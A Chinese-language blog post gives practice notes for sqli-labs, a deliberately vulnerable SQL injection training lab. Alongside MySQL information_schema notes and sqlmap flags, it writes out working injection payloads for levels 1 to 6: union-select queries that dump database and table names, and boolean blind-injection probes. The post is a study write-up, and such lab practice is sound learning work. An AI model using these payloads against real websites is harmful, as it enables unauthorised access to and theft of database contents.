江鸟's Blog

sqli-labs练习

字数统计: 901阅读时长: 3 min
2019/12/08 Share

sqli-labs的练习,持续更新

sqli-labs练习

知识储备

在MySQL中,把INFORMATION_SCHEMA 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
下面对一些重要的数据字典表做一些说明:

SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
CHARACTER_SETS表:提供了关于可用字符集的信息。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
TABLE_CONSTRAINTS表:描述了存在约束的表。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
VIEWS表:给出了关于数据库中的视图的信息。
TRIGGERS表:提供了关于触发程序的信息。

常用函数

1
2
3
4
5
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

字符串连接函数

1
2
3
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

sqlmap 操作

1
2
3
4
5
6
7
8
9
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

简单报错注入

less-1

order by探测列数为3

union select 联合查询information_schema表

1
2
3
4
5
库名
?id=-1' union select 1,2,group_concat(schema_name)from information_schema.schemata--+

表名
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

less-2

去掉,其余通less1

1
2
3
4
5
库名
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata--+

表名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

less-3

源代码

1
Select login_name, select password from table where id= ('our input here')

所以加上圆括号即可

1
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

less-4

输入” 出现You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1

判断闭合需要”)

1
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--

less-5

单引号报错,双引号不报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
探测列数
1' order by 4--+

盲注先探测数据库长度
id=1' and (select length(database()) = 数字)--+

mysql> select length(database())=4;
+----------------------+
| length(database())=4 |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)

判断内容
1' and (select mid(database(),字母,1)=' 第几位 ')--+

less-6

单引号不报错,双引号报错

1
2
探测列数
1" order by 4--+
CATALOG
  1. 1. sqli-labs练习
    1. 1.1. 知识储备
    2. 1.2. sqlmap 操作
    3. 1.3. 简单报错注入
      1. 1.3.1. less-1
      2. 1.3.2. less-2
      3. 1.3.3. less-3
      4. 1.3.4. less-4
      5. 1.3.5. less-5
      6. 1.3.6. less-6